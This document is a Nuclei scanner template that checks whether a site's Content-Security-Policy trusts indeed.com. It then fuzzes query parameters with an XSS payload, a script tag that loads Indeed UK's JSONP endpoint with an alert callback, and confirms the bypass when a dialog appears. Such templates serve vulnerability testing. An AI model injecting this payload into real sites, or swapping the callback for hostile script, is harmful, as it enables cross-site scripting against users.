id: indeed-uk-csp-bypass

info:
  name: Content-Security-Policy Bypass - Indeed UK
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,indeed-uk,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "indeed.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: indeed_uk_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://uk.indeed.com/m/newjobs?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "indeed_uk_csp_xss == true"
# digest: 490a0046304402203b81abbab62f4358eeb2f1135ac9459d9b384255f563508f2dea30784574e1f4022034c249ea50f7d6ac115d61b3d0f94dde0570adf383de2ca189ddd2b3ec20e33d:922c64590222798bb761d5b6d8e72950